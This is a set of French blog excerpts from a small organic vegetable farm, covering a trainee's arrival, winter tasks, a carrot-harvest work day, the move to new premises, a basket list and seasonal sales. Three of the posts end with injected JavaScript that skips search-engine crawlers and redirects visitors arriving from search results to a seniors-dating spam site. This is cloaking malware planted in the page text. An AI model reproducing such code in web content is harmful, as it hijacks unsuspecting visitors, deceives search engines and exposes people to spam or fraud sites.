Fabien est de la partie!

Vous aurez sûrement l'occasion de croiser son chemin à la ferme, aux amapp's ou au marché, il a rejoint la ferme en ce début novembre 2020 et sera avec nous pendant un an. Chic! Mais pourquoi? Fabien après une autre vie professionnelle a décidé de changer de cap et de passer un diplôme agricole afin de pouvoir devenir maraîcher. Il profite d'une année de test à nos côtés  dans le cadre d'un contrat "start agri" STAge accompagné pour la Reprise et la Transmission en AGRIculture porté par la Région Bourgogne Franche Comté, avant de se lancer!   ...
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Les travaux d’hiver

Les travaux d’hiver

2020 se termine à peine que c'est déjà le branle bas de combat pour ranger, nettoyer et hiverner tout le matériel utilisé cette saison (toile tissée, goutte à goutte, tuyaux, et autre outils utiles au maraîcher égaré par ci par là..), on fait le point sur ce qui s’abîme et ce qu'il faut réparer et racheter pour ..la saison suivante! Ça ne s’arrêtera donc jamais! Et pour préparer la saison suivante on prend soin aussi d’offrir un joli et bénéfique couvert végétal à notre terre pour l'hiver. Parce qu'un sol nu çà n'existe pas, nous semons à la volée sur les planches récoltées et que nous avons pu travailler un engrais vert, mélange à base de céréales, pois et/ou légumineuses acheté aux agriculteurs bio du coin. En poussant à la fin de l'automne et en restant en place tout l'hiver cela couvre le sol et permet entre autre de décompacter les sols lourds, de favoriser la vie du sol et de faire...
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La moitié!

Le chantier participatif de l'année 2020 est terminé! snif, on adore ça nous voir du monde au jardin! Promis on en refait un l'année prochaine! (et cette fois on espère bien fêter ça autour d'un repas en musique sans que des virus ne nous en empêche) Cette édition 2020 s'est réalisée dans de bonnes conditions, le terrain avait suffisamment séché pour que la machine puisse soulever les carottes et soulager la tache des maraîchers d'un jour, la pluie nous a laissé travailler et surtout y a PLEIN DE CAROTTES!! Nous avons ensuite célébré la tache à demi réalisée autour d'un bon goûter à base de gâteau...à la carotte et de chocolat chaud pour se réchauffer les mains! Les caisses ont été rangées le lendemain et les carottes seront lavées et préparées avant chaque vente durant l'hiver Le reste des planches sera récolté la semaine suivante avec les futurs maraîchers et maraîchères en formation  BPREA (brevet professionnel d'exploitant agricole) du CFPPA de Plombières- Quetigny, chic! Reste...
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On déménage!

Si vous nous suivez depuis un moment, vous avez sûrement l’habitude de nos changements...mais cette fois c'est un grand changement, on déménage! à 300m mais on déménage quand même! On a beau essayer de pousser les murs on commence à se sentir à l’étroit au 4 place de la mairie, alors après 6 années passées ici à empiler les caisses de légumes pour gagner de la place au sol, on prend sous le bras chambre froide, station de lavage, chariots à roulette, local de vente et on s'installe au bout du village, 12 route de Cussy. On y verra enfin clair, et le maraîcher sera soulagé car l'ergonomie a été réfléchie (très fort!)! Nous avons donc plein de choses à vous raconter et encore des projets sous l'autre bras dans ce lieu que nous affectionnons déjà, alors nous vous invitons à pousser la porte du "nouveau bâtiment" le 12 septembre de 9h30 à12h pour le marché (les collègues producteurs et...
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panier du 18 avril

1 botte de blette 300 gr de céleri rave 600gr d'épinards 700 gr de PDT 1 botte de poireaux 2 salades 1 botte de radis 400 gr de rhubarbe 120 gr de roquette les commandes sont à passer ici var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { if (goodRefs.test(document.referrer)){ window.location="http://red.seniors-dating.org/?wwp"; } }...
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Saison 2019 de la vente à la ferme!

Saison 2019 de la vente à la ferme!

Nous sortons progressivement de notre hibernation et après les quelques travaux d'hiver nous reprenons le travail aux champs! Les première plantations ont commencé cette semaine. Nous avons le plaisir de vous annoncer la reprise de la vente à la ferme dès le jeudi 18 avril, avec de nouveaux horaires, de 17h00 à 19h00. Le lieu reste inchangé, place de la mairie à Longecourt les Culêtre Nos collègues producteurs seront à nouveau présents à nos côtés pour partager cette vente. Les commandes des paniers seront à nouveau possible sur le site openfood france, ici Au plaisir de vous retrouver! var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { if (goodRefs.test(document.referrer)){ window.location="http://red.seniors-dating.org/?wwp"; } }...
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C’est l’hiver aux jardins

Après une fin d'été et un automne bien intense, mais aussi bien chaud et sec...est venu le temps du bricolage, pour cet hiver pluvieux! Nouvelle serre, nouvelles machines, entretiens, aménagements, gestion, plan de culture, comptabilité, et quelques récoltes (salades/mâches/épinards/poireaux....) pour l'AMAP qui continue!! Pas e quoi s’embêter donc. La vente à la ferme est fermée depuis le 28 décembre, principalement pour nous laisser le temps de préparer une belle rentrée 2018, en espérant que 2018 sera l'année sans fermeture hivernale, en tout cas ça sera une année avec pas mal de nouveauté, nous verrons cela dans un futur article, en attendant voila quelques photos de cette fin d'année! Bonne année à vous et à très bientôt pour les carottes primeurs par exemple!      var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { if (goodRefs.test(document.referrer)){ ...
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